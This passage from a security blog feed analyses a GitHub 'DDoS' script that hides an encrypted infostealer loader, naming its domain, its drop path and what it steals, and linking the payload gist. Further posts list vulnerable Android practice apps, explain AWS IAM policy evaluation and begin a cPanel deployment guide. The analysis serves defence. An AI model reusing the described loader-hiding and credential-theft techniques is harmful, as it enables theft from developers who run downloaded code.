<p>It all began when I was searching GitHub for a HTTP flooding DoS script for penetration testing. Like everyone else, I was looking for existing code because, well, why reinvent the wheel, right? That’s when I stumbled upon a GitHub repository (<a target="_blank" href="https://github.com/Azepofff/Adv-DDOS/blob/main/main.py">Azepofff/Adv-DDOS</a>) on the first page of my search results.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734352885945/a56e7070-ea2b-44b1-94ef-b12128744284.png" alt class="image--center mx-auto" /></p>
<p>At first glance, the source code looked normal. But do you notice anything suspicious? Probably not, unless you scroll all the way to the right or click the "Raw" button on GitHub—which is how I noticed the malicious code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734352980247/da2ba4eb-ba3f-4bfe-8096-6921639a0b86.png" alt class="image--center mx-auto" /></p>
<p>Hidden at the end of the script, after a semicolon, was a line of code that installs the <code>fernet</code> module, decrypts an encrypted string, and executes it. This immediately raised a red flag, and I knew I had to dig deeper.</p>
<h3 id="heading-digging-deeper">Digging Deeper</h3>
<p>I decrypted the encrypted string locally (without executing it) and discovered a URL pointing to a suspicious domain: <code>1312services[.]ru</code>. Naturally, my next step was to investigate this domain.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734317645872/8243d256-4c77-479e-9577-9bf9f5faaaef.png" alt class="image--center mx-auto" /></p>
<p>I tried accessing it via a browser, but Cloudflare blocked my request.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734318791196/8cf4f461-8489-4cb2-a005-201ffabb3dc7.png" alt class="image--center mx-auto" /></p>
<p>I attempted to use <code>curl</code>, but the request was still blocked.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734318934091/c292c3ba-ec18-44a4-83b6-014e24823e18.png" alt class="image--center mx-auto" /></p>
<p>Surprisingly, I managed to access the content using the Python <code>requests</code> module.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734319125733/5158ee73-5eb2-4c75-9fc1-c2bd95ecf482.png" alt class="image--center mx-auto" /></p>
<p>This revealed that Cloudflare was likely configured to block all requests except those with the default User-Agent header of the <code>requests</code> module. For reference, here’s the default User-Agent of the <code>requests</code> module (version 2.32.3): <code>python-requests/2.32.3</code></p>
<blockquote>
<p>For an added tip, you can send HTTP GET request to <a target="_blank" href="http://httpbin.org/headers">http://httpbin.org/headers</a> to see the headers of your request without intercepting it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734354000699/2c745723-35f9-425b-8654-42ac123e71d8.png" alt /></p>
</blockquote>
<h3 id="heading-uncovering-the-payload">Uncovering the Payload</h3>
<p>The response contained Python code that created a file named <code>gruppe.py</code> under the <code>C:\Users\&lt;Username&gt;\AppData\Roaming</code> directory, clearly targeting Windows users. The script wrote a string stored in a <code>content</code> variable to this file and then executed it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734320546150/32ccfc4c-ff18-45c9-8be3-4f31f693a45e.png" alt class="image--center mx-auto" /></p>
<p>To further analyze this, I copied the string into another file. This revealed another Python script, which also decrypted an encrypted string and executed it. Upon decrypting this text, I uncovered 620 lines of Python code, which is the main payload script.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734320656540/089519da-9a75-4d46-8b70-eb996464a888.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>I’ve shared the payload code in this gist: <a target="_blank" href="https://gist.github.com/kcnaiamh/ad72bf34957eaf3c144f8a0899233128">https://gist.github.com/kcnaiamh/ad72bf34957eaf3c144f8a0899233128</a></p>
</blockquote>
<h3 id="heading-analyzing-the-payload">Analyzing the Payload</h3>
<p>Given the script’s size, I used ChatGPT to get a quick understanding of its functionality. Here’s what I found:</p>
<h4 id="heading-what-the-script-does">What the Script Does</h4>
<p>This malware is designed to steal sensitive data from the victim’s system. It:</p>
<ul>
<li><p><strong>Targets Chromium-Based Browsers</strong>:</p>
<ul>
<li><p>Steals passwords, cookies, and tokens by decrypting browser-stored credentials.</p>
</li>
<li><p>Extracts data from popular browsers like Chrome, Edge, Brave, and Opera.</p>
</li>
</ul>
</li>
<li><p><strong>Targets Cryptocurrency Wallets</strong>:</p>
<ul>
<li><p>Accesses wallets such as MetaMask, Exodus, and Atomic Wallet.</p>
</li>
<li><p>Extracts data from browser extensions linked to these wallets.</p>
</li>
</ul>
</li>
<li><p><strong>Targets Messaging Apps</strong>:</p>
<ul>
<li>Extracts authentication tokens and session cookies from Discord and Telegram.</li>
</ul>
</li>
<li><p><strong>Searches for Sensitive Files</strong>:</p>
<ul>
<li>Scans common directories (e.g., Desktop, Documents) for files containing keywords like "password," "wallet," or "crypto."</li>
</ul>
</li>
<li><p><strong>Persistence Mechanism</strong>:</p>
<ul>
<li>Saves itself in the Windows Startup folder to ensure it runs on system reboot.</li>
</ul>
</li>
</ul>
<h3 id="heading-overall-observation">Overall Observation</h3>
<p>Remember the domain name? I did a WHOIS lookup to gather more information.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734447605966/e5fc9fae-0e05-41c6-8a72-b919c0fcfd85.png" alt class="image--center mx-auto" /></p>
<p>While I didn’t dive too deeply, I suspect the GitHub user “<a target="_blank" href="https://github.com/Azepofff/">Azepofff</a>” may be linked to Russia. Every repository from this account is designed for deploying the infostealer malware. Groups like these typically steal credentials to further spread malware, infect systems with ransomware if they gain access to critical infrastructure, or sell initial access on hacker forums. They also pilfer cryptocurrency whenever possible.</p>
<p>This is their business model—and unfortunately, it seems to be a profitable one.</p>
<blockquote>
<p>If you have the time, please consider reporting this GitHub user.</p>
</blockquote>
<h3 id="heading-final-thoughts">Final Thoughts</h3>
<p>When using code from unknown sources, simply reading it isn’t enough. You need to dig deeper and examine hidden sections to ensure attackers haven’t sneakily inserted malicious code.</p>
]]></content:encoded></item><item><title><![CDATA[Vulnerable Android Applications for Android Pentesting]]></title><description><![CDATA[To effectively learn Android app penetration testing, hands-on practice is essential. To facilitate this, developers and security researchers have created intentionally vulnerable Android applications. These apps provide a safe platform for exploring...]]></description><link>https://blog.kcnaiamh.com/vulnerable-android-applications-for-android-pentesting</link><guid isPermaLink="true">https://blog.kcnaiamh.com/vulnerable-android-applications-for-android-pentesting</guid><category><![CDATA[Android]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[#Android-Penetration-Testing]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Fri, 09 Aug 2024 18:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/t8TOMKe6xZU/upload/f84ec487429f8eff4a93a592b47205d5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>To effectively learn Android app penetration testing, hands-on practice is essential. To facilitate this, developers and security researchers have created intentionally vulnerable Android applications. These apps provide a safe platform for exploring and understanding potential security weaknesses.</p>
<p>This article explores some popular options for those seeking to delve into the world of Android pentesting:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/oversecured/ovaa"><strong>OVAA (Oversecured Vulnerable Android App)</strong></a><br />  This app, created by Oversecured, aggregates various known and popular vulnerabilities within the Android platform. By studying OVAA, you can gain insight into a wide range of security flaws.</p>
</li>
<li><p><a target="_blank" href="https://github.com/zinja-coder/Damn-Vulnerable-Android-Components"><strong>Damn Vulnerable Android Components</strong></a><br />  It is an intentionally vulnerable Android Application designed to expose and demonstrate vulnerabilities related to various Android components such as Activities, Intents, Content Providers, and Broadcast Receivers. It is structured as a password manager application to manage and store passwords securely (!).</p>
</li>
<li><p><a target="_blank" href="https://github.com/Ostorlab/ostorlab_insecure_android_app"><strong>Ostrolab Insecure Android App</strong></a><br />  This is a vulnerable Android application which contains a number of vulnerable components. It is created and maintained by Ostrolab to demonstrate the effectiveness of Ostolab Security Scanner. We can use it for our learning purpose.</p>
</li>
<li><p><a target="_blank" href="https://www.insecureshopapp.com/">InsecureShop</a><br />  Insecure Android app that has listed vulnerabilities with documentation.</p>
</li>
<li><p><a target="_blank" href="https://github.com/Ch1h3b/Android-Hack-Playgroundhttps://github.com/Ch1h3b/Android-Hack-Playground"><strong>Free Ram Installer</strong></a><br />  It is an Android application designed as a CTF challenge for <em>BSides Algiers 2023</em>. This app is intentionally vulnerable and offers a hands-on experience for security enthusiasts to practice and enhance their Android hacking skills.</p>
</li>
<li><p><a target="_blank" href="https://github.com/httptoolkit/android-ssl-pinning-demo">Android SSL Pinning</a><br />  This app has almost all types of certificate pinning implementation. See the code how they are implemented. Try to bypass the pinning (without frida).</p>
</li>
<li><p><a target="_blank" href="https://github.com/rewanthtammana/Damn-Vulnerable-Bank"><strong>Damn Vulnerable Bank</strong></a><br />  It focuses on financial app vulnerabilities. Designed with deliberate security weaknesses, this app allows you to explore common banking app exploits in a safe environment.</p>
</li>
<li><p><a target="_blank" href="https://github.com/t0thkr1s/allsafe"><strong>Allsafe</strong></a><br />  This intentionally vulnerable application serves as a learning ground for a variety of security issues. Developed by t0thkr1s, Allsafe provides a hands-on experience in identifying and understanding different vulnerabilities.</p>
</li>
<li><p><a target="_blank" href="https://mas.owasp.org/crackmes/"><strong>MAS Crackmes</strong></a><br />  A collection of mobile reverse engineering challenges by OWASP MASTG.</p>
</li>
<li><p><a target="_blank" href="https://github.com/xtiankisutsa/awesome-mobile-CTF"><strong>Awesome Mobile CTF</strong></a><br />  A curated list of Mobile CTFs. It also has other Mobile hacking resources.</p>
</li>
<li><p><a target="_blank" href="https://www.mobilehackinglab.com/free-mobile-hacking-labs"><strong>MobileHackingLab</strong></a><br />  It has lots of mobile hacking labs both for iOS and android. Also, the course it offers is great.</p>
</li>
</ul>
<p>After learning the concepts it's time to crack down unintentional vulnerable apps! Download the app of your choice from playstore. Extract APK using adb. Start Hacking!</p>
]]></content:encoded></item><item><title><![CDATA[Understanding Authentication and Authorization for API Requests in AWS]]></title><description><![CDATA[Every interaction you have with the cloud is through APIs. When you make an API request to AWS, it goes through several layers of authentication and authorization checks to verify your identity and assess your permissions. This process involves confi...]]></description><link>https://blog.kcnaiamh.com/understanding-authentication-and-authorization-for-api-requests-in-aws</link><guid isPermaLink="true">https://blog.kcnaiamh.com/understanding-authentication-and-authorization-for-api-requests-in-aws</guid><category><![CDATA[AWS]]></category><category><![CDATA[IAM]]></category><category><![CDATA[authentication]]></category><category><![CDATA[authorization]]></category><category><![CDATA[APIs]]></category><category><![CDATA[Cloud]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Fri, 28 Jun 2024 11:43:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1719542349693/b819198e-9fa8-434b-acfd-7e2677fceaa2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Every interaction you have with the cloud is through APIs. When you make an API request to AWS, it goes through several layers of authentication and authorization checks to verify your identity and assess your permissions. This process involves confirming 'you are who you say you are' and evaluating the request context against various predefined policies.</p>
<p>To understand the journey properly, you need to understand different terminologies so that you can clearly understand everything.</p>
<h3 id="heading-iam-principals">IAM Principals</h3>
<p>In AWS, the term "principal" refers to an entity that can make requests to perform actions and access resources. Principals are a fundamental part of IAM and play a crucial role in managing security and access control within your AWS environment.</p>
<p>Types of IAM principals that make requests:</p>
<ul>
<li><p><strong>AWS Account</strong></p>
<p>  A principal can be an entire AWS account identified by its unique AWS account ID.</p>
<pre><code class="lang-json">  {
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
      {
        <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
        <span class="hljs-attr">"Principal"</span>: {
          <span class="hljs-attr">"AWS"</span>: <span class="hljs-string">"123456789012"</span>
        },
        <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:GetObject"</span>,
        <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::example-bucket/*"</span>
      }
    ]
  }
</code></pre>
<p>  The above JSON object is a policy allows any entity/service in the AWS account with ID <code>123456789012</code> to perform the <code>s3:GetObject</code> action on all objects within the S3 bucket named <code>example-bucket</code>.</p>
</li>
<li><p><strong>IAM Role</strong></p>
<p>  Temporarily gives specific permissions to identities. You can create an IAM role with specific permissions and attach it to a service/user to give a certain level of privilege.</p>
<p>  For giving temporary permission to services/users outside the AWS environment (for example, on-prem cloud), an <strong>IAM Role Anywhere</strong> service can be used.</p>
</li>
<li><p><strong>IAM User</strong></p>
<p>  Specific individuals or services within an AWS account, identified by their IAM username. It is used for long-term credential access to the account. By default, an IAM user doesn't have any permission. To allocate permission, the best practice is to put users in a group and then attach a policy to that group, or attach a role to a user.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719501656119/7904f34e-5196-41ea-90ac-2a7a65bd33b4.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><strong>Federated User</strong></p>
<p>  External users authenticated through identity providers (IdPs) like SAML, OpenID Connect, or AWS Cognito. This principal gets credential by using the <code>sts:GetFederationToken</code> API. This is not a user that is Federated by way of an identity provider. Most customers won't use this type of Federated user often.</p>
</li>
<li><p><strong>Anonymous User</strong></p>
<p>  Makes unauthenticated requests to AWS. An anonymous principal refers to any entity that is accessing your AWS resources without any authenticated identity. Essentially, this means access is being granted to the general public, without requiring them to sign in or provide any credentials. This is often used in scenarios where you want to make certain resources publicly accessible, such as a public website or shared documents.</p>
</li>
<li><p><strong>Root User</strong></p>
<p>  User with full access to AWS account.</p>
</li>
</ul>
<p>Every principal has an ARN, which uniquely identifies the principal within AWS. For example, an IAM user ARN might look like <code>arn:aws:iam::123456789012:user/JohnDoe</code>. It is used to specify principal in your policy statement.</p>
<h3 id="heading-aws-policy">AWS Policy</h3>
<h4 id="heading-what-is-aws-policy">What is AWS Policy?</h4>
<p>AWS Policy is a document that defines what actions a principal can perform on which resources within your AWS environment. It is written in JSON using the <a target="_blank" href="https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies.html">IAM JSON Policy Language</a> (except Access Control List).</p>
<p>We can devide all the policies into two categories:</p>
<ol>
<li><p>Policies associated with IAM Entity (IAM Role, User, Group)</p>
</li>
<li><p>Policies associated with AWS Resource</p>
</li>
</ol>
<p>Policies that defines the permissions of IAM Entity are:</p>
<ul>
<li><p><strong>Identity-base Policy</strong></p>
<p>  Grants permission to identities (Users, Groups, Roles). This policy can be managed or inline.</p>
</li>
<li><p><strong>Organization's Service Control Policy (SCP)</strong></p>
<p>  Limits maximum permissions for account members of an organization or organizational unit (OU).</p>
</li>
<li><p><strong>Permission Boundary</strong></p>
<p>  Limits how much permission <em>Identity-based policy</em> can give to an entity (user/role). It can only be used as managed policy.</p>
</li>
<li><p><strong>Session Policy</strong></p>
<p>  Limits permissions that role or user's <em>identity-based policies</em> grant to the session.</p>
</li>
</ul>
<p>Policies that defines the permission of AWS Resource are:</p>
<ul>
<li><p><strong>Resource-base Policy</strong></p>
<p>  Grants permission to principals of same account or different account. It is attached with resources like S3, EC2, etc and also the principal is specified in this policy statment. There are some special type of resource-based policies. Some of them we will talk in this blog are:</p>
<ul>
<li><p><strong>Trust Policy</strong></p>
<p>  The trust policy defines which principals can assume the IAM Role, and under which conditions.</p>
</li>
<li><p><strong>VPC Endpoint Policy</strong></p>
<p>  It is used to control which AWS principals can use the endpoint to access an AWS service. An endpoint policy does not override or replace identity-based policies or resource-based policies.</p>
</li>
</ul>
</li>
<li><p><strong>Access Control List (ACL)</strong></p>
<p>  Grants permission to principals of same or different accounts. It doesn't use JSON format and few AWS service support this policy.</p>
</li>
</ul>
<p>Following two mindmap screenshots are from my notes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719507720242/6727ef64-be36-40fd-aeab-b0d5bbd4e665.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719243536779/e576caa5-42c2-46fa-8af8-3f3a6b5a2c14.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Any type of policy can have <strong>multiple policies</strong>, and each policy can have <strong>multiple statements</strong>.</div>
</div>

<p>To learn more about AWS Policy, you can have a look in <a target="_blank" href="https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html">AWS documentation</a>.</p>
<h4 id="heading-statement-building-block-of-aws-policy">Statement: Building block of AWS Policy</h4>
<p>An AWS Policy Statement is a component of an AWS Policy that specifies the permissions for a particular action or set of actions on specific resources. Each policy can have multiple statements, each providing detailed control over permissions. Lets analyze the following Identity-based policy.</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
  <span class="hljs-attr">"Statement"</span>: [
    {
      <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
      <span class="hljs-attr">"Action"</span>: [
        <span class="hljs-string">"s3:ListBucket"</span>,
        <span class="hljs-string">"s3:GetObject"</span>
      ],
      <span class="hljs-attr">"Resource"</span>: [
        <span class="hljs-string">"arn:aws:s3:::example-bucket"</span>,
        <span class="hljs-string">"arn:aws:s3:::example-bucket/*"</span>
      ]
    },
    {
      <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
      <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"ec2:StartInstances"</span>,
      <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:ec2:us-west-2:123456789012:instance/*"</span>
    },
    {
      <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Deny"</span>,
      <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:DeleteObject"</span>,
      <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::example-bucket/*"</span>
    }
  ]
}
</code></pre>
<p>This policy grants specific permissions and denies one particular action within AWS. It allows the identity to list the contents of and retrieve objects from the S3 bucket named <code>example-bucket</code>, as well as start any EC2 instances in the <code>us-west-2</code> region under the account <code>123456789012</code>. However, the policy explicitly denies the ability to delete objects from the <code>example-bucket</code> S3 bucket.</p>
<h4 id="heading-how-is-a-policy-evaluated">How is a Policy Evaluated?</h4>
<p>A policy can have multiple statements. But to pass through the policy, only one allow statement and no deny statement is required. For an incoming request, the request context is evaluated against the policies. To authorize the request against a policy,</p>
<ol>
<li><p>At least one <strong>statement</strong> with an effect of allow must match for a request to be allowed.</p>
</li>
<li><p>A matching statement with an effect of deny takes precedence over a matching statement with an effect of allow.</p>
</li>
</ol>
<p>This process will be repeated for all the policies in the policy chain. (Be aware that, based on scenario, different set of policies are evaluated in different order. We will learn about this in later part of this blog.)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719150042436/229e3197-f503-4ec0-af5c-2dd9bdf1188b.png" alt class="image--center mx-auto" /></p>
<p>Based on the policy evaluation, AWS decides whether to allow or deny the request. The decision is logged in <strong>AWS CloudTrail</strong> for auditing purposes.</p>
<h4 id="heading-tools-and-resources-for-aws-policies">Tools and Resources for AWS Policies</h4>
<ul>
<li><p><a target="_blank" href="https://bourabdelhadi.github.io/awsviz/">AWS Policy Visualizer</a><br />  Using this tool you can visualize AWS Policies and can manually debug the policy to check if has appropriate permissions. Great tool for writing and debugging effective policies.</p>
</li>
<li><p><a target="_blank" href="https://policysim.aws.amazon.com/home/index.jsp">Policy Simulator</a><br />  Using this you can simulate how policy will work before adding/using the policy. You need an AWS account to use it (because it will use your IAM user to simulate).</p>
</li>
<li><p><a target="_blank" href="https://www.awsiamactions.io/">Policy Generator</a></p>
<p>  Use this website to generate policy in easy way.</p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html">Actions, resources, and condition keys for AWS services</a></p>
<p>  If you are someone who write AWS policies, then this page should be bookmarked. You will get all everything to write policies for all services in AWS.</p>
</li>
</ul>
<h3 id="heading-request-journey">Request Journey</h3>
<p>Now let’s break down the journey from the moment a request is made by an AWS principal until it’s authorized or denied. For simplicity we will focus on only one principal, AWS Role.</p>
<h4 id="heading-1-making-the-api-request">1. Making the API Request</h4>
<p>You can only interact with AWS through API. For that, there are 3 ways — Console, CLI, and SDK.</p>
<ul>
<li><p><strong>AWS Management Console</strong>: When you perform an action using the AWS Management Console, the console makes API calls on your behalf.</p>
</li>
<li><p><strong>AWS CLI</strong>: You can run commands directly in your terminal or write a script to interact with AWS services.</p>
</li>
<li><p><strong>AWS SDKs</strong>: When you are building a software and need to interact with AWS programmatically, you will use libraries that is build and maintained by AWS. <a target="_blank" href="https://boto3.amazonaws.com/v1/documentation/api/latest/index.html">Boto3</a> for python3 is such an example.</p>
</li>
</ul>
<p>(You can also interact with AWS as an anonymous user. But for this scenario, I am not considering this.)</p>
<h4 id="heading-2-authentication">2. Authentication</h4>
<p>Before interacting with AWS, you have to authenticate yourself - so that AWS can recognize who you are.</p>
<p>In case of console, the authentication process complete when you signin using account ID, IAM username, password and MFS.</p>
<p>When you are interacting with AWS programmatically using SDK and CLI, you need to use appropriate access key and secret key to authenticate yourself.</p>
<p>In case of IAM Role, it authenticates with temporary credentials, which are given by <strong>AWS Security Token Service (STS)</strong>. This service by default runs in every AWS region. Its job is to produce short time credentials to use by an IAM Role.</p>
<p>An IAM Role needs two resource-based policies when it is created. Trust Policy and Role Policy.</p>
<p><strong>Trust Relationship Policy</strong></p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
  <span class="hljs-attr">"Statement"</span>: [
    {
      <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
      <span class="hljs-attr">"Principal"</span>: {
        <span class="hljs-attr">"Service"</span>: <span class="hljs-string">"lambda.amazonaws.com"</span>
      },
      <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"sts:AssumeRole"</span>
    }
  ]
}
</code></pre>
<p>For Lambda functions, you need to grant this permission to the Lambda service itself. The Principal element with Service set to <a target="_blank" href="http://lambda.amazonaws.com">lambda.amazonaws.com</a> indicates that the AWS Lambda service is trusted to assume this role. The Action element with <code>sts:AssumeRole</code> specifies the action that is allowed. This setup ensures that only AWS Lambda can use this role, adding another layer of security by preventing other AWS services or users from assuming this role and accessing its permissions.</p>
<p><strong>IAM Role Policy</strong></p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
  <span class="hljs-attr">"Statement"</span>: [
    {
      <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
      <span class="hljs-attr">"Action"</span>: [
        <span class="hljs-string">"s3:GetObject"</span>,
        <span class="hljs-string">"s3:PutObject"</span>
      ],
      <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::example-bucket/*"</span>
    }
  ]
}
</code></pre>
<p>The IAM Role Policy defines <strong>what actions the Lambda function is allowed to perform</strong>. In this example, the policy allows the Lambda function to read from and write to an specific S3 bucket.</p>
<p>In case of anonymous user, no authentication is required.</p>
<h4 id="heading-3-building-request-context">3. Building Request Context</h4>
<p>Every request to AWS contains unique properties that is be provided along with an authorization request to make more granular authorization decisions. Till of this date there are total <strong>18types</strong> of request context parameters — account ID, authorizer principal ID, source IP, user aget, etc are such examples. IAM then compares this authorization context with to your IAM policies to determine which policy statements match.</p>
<p>In case you are curious and want to know more, read the <a target="_blank" href="https://docs.aws.amazon.com/cdk/api/v2/python/aws_cdk.aws_apigateway/RequestContext.html">AWS documentation on request context</a>.</p>
<h4 id="heading-4-evaluate-policies">4. Evaluate Policies</h4>
<p>Before understanding evaluaton process of the policies, its crucial to understand what is Root account and Organization Unit in AWS Organization.</p>
<p><strong>AWS Organization</strong></p>
<p>In a large organization, there might be multiple (sometimes hundreds/thousands) of AWS accounts for different use cases. For proper security, resource, and bill management, AWS offers the AWS Organization service. This service allows you to centrally manage and govern multiple AWS accounts. It simplifies billing by consolidating payments for all accounts under a single master account, known as the <strong>Root Account</strong>. AWS Organizations also enhance security and compliance by enabling you to apply <strong>Service Control Policies</strong> (SCPs) that define the services and actions each account can use. Additionally, it helps streamline workflows by allowing you to create <strong>Organizational Units</strong> (OUs), which are groupings of accounts that can be managed collectively based on similar requirements or functions. This hierarchical structure facilitates efficient resource management, policy enforcement, and cost tracking across the entire organization.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719191156209/8241c5c7-f400-4edf-a84a-e19ebd1577ac.png" alt class="image--center mx-auto" /></p>
<p>For the example shown above, you can attach SCP policies directly to the Root Account, which will apply to all accounts under it. You can also attach SCP policies to a group of accounts by attaching it to OU. Additionally, it is possible to attach SCP policies to individual accounts.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719191898503/7f503360-2020-4091-a635-7109a044f6c9.png" alt class="image--center mx-auto" /></p>
<p>For the simplicity of explanation and demonstration, we will abstract all the SCP policies into one.</p>
<p><strong>Policy Evaluation: IAM Role</strong></p>
<p>Now lets get to our IAM Role. An IAM role by itself does not make requests without a session. A role always has a corresponding session which is the principal that actually makes request.</p>
<p>The request is first evaluated against the SCPs defined at the organizational level. SCPs apply to all principals (users, roles, etc.) within the organization. These policies determine the upper limit of what actions are allowed or denied within the organization. The account context comes into play next, where the request is evaluated based on the policies specific to the account in which the resource resides.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719237198192/5e39fdb9-3fbe-49de-ac79-2c5b5a2036a2.png" alt class="image--center mx-auto" /></p>
<p>Here when a request is invoked by a AWS Role Session, the role need to be allowed by multiple policies startign from organization's SCPs. If the role need to access a resource inside the same account then one of the following three policy chain will be evaluated accourding to the principal that is specified in the Resource-based Policy statment.</p>
<p>If the resource-based policy statement specifies principal for Accout, Role or Session then the policy evaluation path will be taken the followign 1, 2 or 3 respectively.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719448747184/602f0d70-7696-40be-b3f3-117fa3ff0702.png" alt class="image--center mx-auto" /></p>
<p>If the request doesn't access any resource then the following policy chain will be evaluated.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719448411886/cb508be3-5a0e-4d94-bf58-8d13c8cc35b6.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💀</div>
<div data-node-type="callout-text">If any of the policy has Explicit Deny statement then the request will be denied, <mark>even if there is a path that allows the request</mark>.</div>
</div>

<p>When the requested Role session originates from one account and the requested resource is in different account, then <strong>all the policies need to approved</strong> to access the resource.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719237749899/50eb14b2-4921-431b-a357-91d6135a3ecf.png" alt class="image--center mx-auto" /></p>
<p><strong>Policy Evaluation: IAM User</strong></p>
<p>Till now we have understood the policy chain evaluation in case of AWS Role. But for other principals, the evaluation chain is different. For the completeness of the article, let's consider the AWS User principal in the following scenario.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719238606588/370072ca-33c2-4d0c-8920-e4494ac55dda.png" alt class="image--center mx-auto" /></p>
<p>For request approval of an AWS User, all three session need to be evaluated. Note that the order of evaluation chain is different. It is evaluating Permission boundary policies before Identity-based policy. Rest of the structure is same as IAM Role.</p>
<p><strong>Policy Evaluation with VPC Endpoint</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719239372566/e4c793be-8b03-4cc2-b301-8ad243c12e51.png" alt class="image--center mx-auto" /></p>
<p>In the previous examples, we assumed that there is no VPC endpoint service attached. If there is any VPC endpoint service, then the evaluation process of VPC endpoint policy will be after SCP, before getting access to the Account.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Every API request in AWS is a multi-step journey involving authentication, building request context, collection, and evaluation of various policies. By understanding how each type of policy contributes to the final authorization decision for each type of principal, you can better manage and troubleshoot access controls in your AWS environment.</p>
]]></content:encoded></item><item><title><![CDATA[Streamline Your cPanel Deployments: Automate with GitHub Actions]]></title><description><![CDATA[Deploying website using cPanel is boring. Zip your code, upload through cpanel file manager, unzip it — Too much manual work just for one deployment. Infact, just to update the typo you just found out! I'm a lazy man who want to automate all the manu...]]></description><link>https://blog.kcnaiamh.com/streamline-your-cpanel-deployments-automate-with-github-actions</link><guid isPermaLink="true">https://blog.kcnaiamh.com/streamline-your-cpanel-deployments-automate-with-github-actions</guid><category><![CDATA[GitHub]]></category><category><![CDATA[github-actions]]></category><category><![CDATA[cpanel]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Sat, 15 Jun 2024 03:26:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/CiUR8zISX60/upload/0a00bf76a1c1a6bb562cfb4cca6b5800.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Deploying website using cPanel is boring. Zip your code, upload through cpanel file manager, unzip it <strong>—</strong> Too much manual work just for one deployment. Infact, just to update the typo you just found out! I'm a lazy man who want to automate all the manual task. So, I used github actions to automate the whole deplyment process. Just one push is all you need. 😉</p>
<p>To do this lets first generate RSA key pairs using the following command. (<em>Note: whatever prompt comes after that, Just press ENTER.</em>)</p>
<pre><code class="lang-bash">ssh-keygen -t rsa
</code></pre>
<p>You will find private and public key as <code>id_rsa</code> and <code>id_rsa.pub</code> in <code>~/.ssh/</code> folder.</p>
<p>Copy the public key and go to cPanel's 'SSH Access'. Click 'Manage SSH Keys' &gt; 'Import Keys' &gt; Paste the public key into public key text box &gt; 'Import'.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718419820895/9ddb432d-7d14-4335-8828-b41b566d6858.png" alt class="image--center mx-auto" /></p>
